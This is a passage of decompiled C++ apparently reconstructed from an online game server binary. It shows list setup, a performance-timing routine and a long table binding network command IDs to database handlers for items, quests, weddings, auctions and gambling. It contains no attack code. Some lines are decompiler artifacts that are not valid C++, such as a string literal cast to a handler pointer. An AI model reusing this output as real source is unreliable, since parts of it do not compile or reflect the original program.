edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 PathFindCellLoc *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 PathFindCellLoc *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 PathFindCellLoc *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 PathFindCellLoc *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 PathFindCellLoc *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0xC8u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = 2; v3 = 3; v4 = (int)&v1->jpc_array[1]; v5 = 40; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 8; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 8; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 16; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 24; } v4 += 40; v3 += 5; v2 += 5; --v5; } while ( v5 ); } // 645424: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (004B89C0) -------------------------------------------------------- void __thiscall PerformanceChecker::PerformanceChecker(PerformanceChecker *this) { this->pc_point.mask = 31; this->pc_point.value = 0; } //----- (004B89D0) -------------------------------------------------------- long double __thiscall PerformanceChecker::pc_loopPERsecond(PerformanceChecker *this) { PerformanceChecker *v1; // esi@1 unsigned int v2; // edx@1 int v3; // eax@1 unsigned int v4; // ecx@1 int v5; // eax@1 int v6; // ecx@1 double v7; // ST08_8@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PerformanceChecker::pc_loopPERsecond"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PerformanceChecker::pc_loopPERsecond"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->pc_point.mask; v3 = v2 & (v1->pc_point.value - 1); v1->pc_point.value = v3; v4 = v1->pc_Buffer[v3]; v5 = v2 & (v3 + 1); v1->pc_point.value = v5; v6 = v4 - v1->pc_Buffer[v5]; --funcallanalizer.fca_stackpoint; v7 = 32.0 / ((double)(unsigned int)v6 * 0.1); FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PerformanceChecker::pc_loopPERsecond"); return v7; } //----- (004B8A70) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)&PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 650B30: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall GameDBSession_____NETCOMMAND __int_____vftable_)(void *p, char); //----- (004B8AA0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_scalar_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B8AC0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 1, GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 3, GameDBSession::gds_NC_MISC_S2SCONNECTION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 4, GameDBSession::gds_NC_MISC_HEARTBEAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 18, GameDBSession::gds_NC_MISC_PINGTEST_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 19, GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 2, 21, GameDBSession::gds_NC_MISC_PINGTEST_TOOL_WM_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 69, GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 70, GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 2, GameDBSession::gds_NC_ITEMDB_ADMINCREATESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 3, GameDBSession::gds_NC_ITEMDB_ADMINCREATEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 11, GameDBSession::gds_NC_ITEMDB_BUYALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 12, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 14, GameDBSession::gds_NC_ITEMDB_BUYLOTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 15, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 35, GameDBSession::gds_NC_ITEMDB_SELLALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 36, GameDBSession::gds_NC_ITEMDB_SELLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 38, GameDBSession::gds_NC_ITEMDB_SELLLOTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 39, GameDBSession::gds_NC_ITEMDB_SELLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 17, GameDBSession::gds_NC_ITEMDB_EQUIPSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 18, GameDBSession::gds_NC_ITEMDB_EQUIPFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 20, GameDBSession::gds_NC_ITEMDB_UNEQUIPSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 21, GameDBSession::gds_NC_ITEMDB_UNEQUIPFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 23, GameDBSession::gds_NC_ITEMDB_DROPALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 26, GameDBSession::gds_NC_ITEMDB_DROPALLLOT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 24, GameDBSession::gds_NC_ITEMDB_DROPALLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 27, GameDBSession::gds_NC_ITEMDB_DROPLOTFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 29, GameDBSession::gds_NC_ITEMDB_PICKALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 30, GameDBSession::gds_NC_ITEMDB_PICKALLFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 32, GameDBSession::gds_NC_ITEMDB_PICKMERGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 33, GameDBSession::gds_NC_ITEMDB_PICKMERGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 57, GameDBSession::gds_NC_ITEMDB_PICKMONEYSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 58, GameDBSession::gds_NC_ITEMDB_PICKMONEYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 123, GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 124, GameDBSession::gds_NC_ITEMDB_INC_DEC_MONEYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 41, GameDBSession::gds_NC_ITEMDB_RELOCSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 42, GameDBSession::gds_NC_ITEMDB_RELOCFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 44, GameDBSession::gds_NC_ITEMDB_EXCHANGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 45, GameDBSession::gds_NC_ITEMDB_EXCHANGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 47, GameDBSession::gds_NC_ITEMDB_MERGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 48, GameDBSession::gds_NC_ITEMDB_MERGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 50, GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 51, GameDBSession::gds_NC_ITEMDB_SPLIT_N_MERGEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 53, GameDBSession::gds_NC_ITEMDB_SPLITSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 54, GameDBSession::gds_NC_ITEMDB_SPLITFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 100, GameDBSession::gds_NC_ITEMDB_CHARGED_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 102, GameDBSession::gds_NC_ITEMDB_CHARGED_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 104, GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 105, GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 110, GameDBSession::gds_NC_ITEMDB_CHESTITEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 145, GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYALLSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 146, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 148, GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYLOTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 149, GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 64, GameDBSession::gds_NC_ITEMDB_USE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 66, GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 67, GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 60, GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 61, GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 72, GameDBSession::gds_NC_ITEMDB_UPGRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 74, GameDBSession::gds_NC_ITEMDB_ITEMCHANGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 76, GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 78, GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 79, GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 22, 22, GameDBSession::gds_NC_KQ_REWARDSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 22, 23, GameDBSession::gds_NC_KQ_REWARDFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 81, GameDBSession::gds_NC_ITEMDB_GETFROMCHESTSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 82, GameDBSession::gds_NC_ITEMDB_GETFROMCHESTFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 86, GameDBSession::gds_NC_ITEMDB_BOOTHTRADE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 88, GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 121, GameDBSession::gds_NC_ITEMDB_COOKING_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 90, GameDBSession::gds_NC_ITEMDB_DESTROY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 92, GameDBSession::gds_NC_ITEMDB_QUESTREWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 96, GameDBSession::gds_NC_ITEMDB_DEPOSIT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 98, GameDBSession::gds_NC_ITEMDB_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 107, GameDBSession::gds_NC_ITEMDB_ITEMBREAKSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 108, GameDBSession::gds_NC_ITEMDB_ITEMBREAKFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 119, GameDBSession::gds_NC_ITEMDB_DISMANTLE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 126, GameDBSession::gds_NC_ITEMDB_MINIHOUSE_EFFECT_DEMANDGOOD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 128, GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 129, GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 140, GameDBSession::gds_NC_ITEMDB_FURNITURE_ENDURE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 142, GameDBSession::gds_NC_ITEMDB_WEAPONENDURE_CHARGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 151, GameDBSession::gds_NC_ITEMDB_ENCHANT_ADD_GEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 153, GameDBSession::gds_NC_ITEMDB_ENCHANT_REMOVE_GEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 155, GameDBSession::gds_NC_ITEMDB_ENCHANT_ADD_NEW_SOCKET_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 157, GameDBSession::gds_NC_ITEMDB_ENCHANT_SET_GEM_LOT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 159, GameDBSession::gds_NC_ITEMDB_MYSTERY_VAULT_MAKEITEM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 167, GameDBSession::gds_NC_ITEMDB_EQUIP_BELONGED_CANCEL_USE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 2, GameDBSession::gds_NC_CHARSAVE_ALL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 6, GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 8, GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 10, GameDBSession::gds_NC_CHARSAVE_SKILL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 27, GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 29, GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 16, 40, GameDBSession::gds_NC_CHARSAVE_DB_UI_STATE_SAVE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 2, GameDBSession::gds_NC_SKILL_SKILLTEACHSUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 3, GameDBSession::gds_NC_SKILL_SKILLTEACHFAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 13, GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 12, GameDBSession::gds_NC_SKILL_EMPOW_RESET_DB_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 19, GameDBSession::gds_NC_SKILL_EMPOWALLOC_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 18, 38, GameDBSession::gds_NC_SKILL_ERASE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 8, GameDBSession::gds_NC_WT_LICENSE_CLR_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 6, GameDBSession::gds_NC_WT_LICENSE_SET_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))"h0zg"); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 23, 12, GameDBSession::gds_NC_WT_TITLE_SET_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 87, GameDBSession::gds_NC_CHAR_CLASSCHANGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 94, GameDBSession::gds_NC_CHAR_STAT_INCPOINTSUC_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 96, GameDBSession::gds_NC_CHAR_STAT_INCPOINTFAIL_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 100, GameDBSession::gds_NC_CHAR_STAT_DECPOINTSUC_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 102, GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 210, GameDBSession::gds_NC_CHAR_FREESTAT_SET_DB_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 119, GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 129, GameDBSession::gds_NC_CHAR_WEDDINGDATA_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 132, GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 134, GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_CANCEL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 138, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_AGREE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 140, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_FORCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 142, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_DO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 144, GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 146, GameDBSession::gds_NC_CHAR_WEDDING_DO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 136, GameDBSession::gds_NC_CHAR_WEDDING_ESCAPE_DIVORCE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 148, GameDBSession::gds_NC_CHAR_WEDDING_PARTNER_INFO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 154, GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_NUM_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 4, GameDBSession::gds_NC_QUEST_DB_SET_INFO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 6, GameDBSession::gds_NC_QUEST_DB_CLEAR_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 10, GameDBSession::gds_NC_QUEST_DB_GIVE_UP_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 25, GameDBSession::gds_NC_QUEST_DB_READ_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 17, 27, GameDBSession::gds_NC_QUEST_DB_DONE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 7, GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 8, GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 9, GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 36, 10, GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 114, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 115, GameDBSession::gds_NC_ITEMDB_OPEN_GUILD_STORAGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 117, GameDBSession::gds_NC_ITEMDB_GUILD_STORAGE_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 131, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShineObject::so_ply_AdminCommand); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 132, GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 134, GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 13, 136, GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 38, 108, GameDBSession::gds_NC_GUILD_ACADEMY_DB_ACADEMY_REWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 29, 230, GameDBSession::gds_NC_GUILD_TOURNAMENT_DB_JOIN_NEW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 90, GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 94, GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_ADD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 96, GameDBSession::gds_NC_MINIHOUSE_DB_PORTAL_DEL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 35, 92, GameDBSession::gds_NC_MINIHOUSE_DB_VISITER_COUNT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 4, 180, GameDBSession::gds_NC_CHAR_REGNUM_VARIFICATION_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 37, 63, GameDBSession::gds_NC_HOLY_PROMISE_DB_GET_CEN_REWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 37, 67, GameDBSession::gds_NC_HOLY_PROMISE_DB_WITHDRAW_CEN_REWARD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 36, GameDBSession::gds_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 13, GameDBSession::gds_NC_DICE_TAISAI_DB_EXPECT_INCOME_MONEY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 17, GameDBSession::gds_NC_DICE_TAISAI_DB_RECEIPT_INCOME_MONEY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 24, GameDBSession::gds_NC_DICE_TAISAI_DB_RANK_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 45, GameDBSession::gds_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 47, 121, GameDBSession::gds_NC_GAMBLE_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 47, 109, GameDBSession::gds_NC_GAMBLE_DICE_TAISAI_DB_ALL_RANK_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 45, 18, GameDBSession::gds_NC_USER_CONNECTION_DB_CHANGE_CHAR_ID_ITEM_USE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 46, 9, GameDBSession::gds_NC_AUCTION_DB_SEARCH_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 46, 13, GameDBSession::gds_NC_AUCTION_DB_BUY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 46, 17, GameDBSession::gds_NC_AUCTION_DB_MY_REGISTER_GOOD_LIST_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 46, 21, GameDBSession::gds_NC_AUCTION_DB_REGISTER_GOOD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 46, 25, GameDBSession::gds_NC_AUCTION_DB_REGISTER_CANCEL_GOOD_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 46, 29, GameDBSession::gds_NC_AUCTION_DB_MY_STORAGE_BOX_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 46, 33, GameDBSession::gds_NC_AUCTION_DB_MY_STORAGE_ITEM_DETAIL_INFO_SUC_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 46, 34, GameDBSession::gds_NC_AUCTION_DB_MY_STORAGE_ITEM_DETAIL_INFO_FAIL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 46, 39, GameDBSession::gds_NC_AUCTION_DB_STORAGE_BOX_WITHDRAW_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 47, 11, GameDBSession::gds_NC_GAMBLE_EXCHANGEDCOIN_DB_INFO_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 47, 18, GameDBSession::gds_NC_GAMBLE_COIN_DB_BUY_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 47, 22, GameDBSession::gds_NC_GAMBLE_COIN_DB_SELL_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 47, 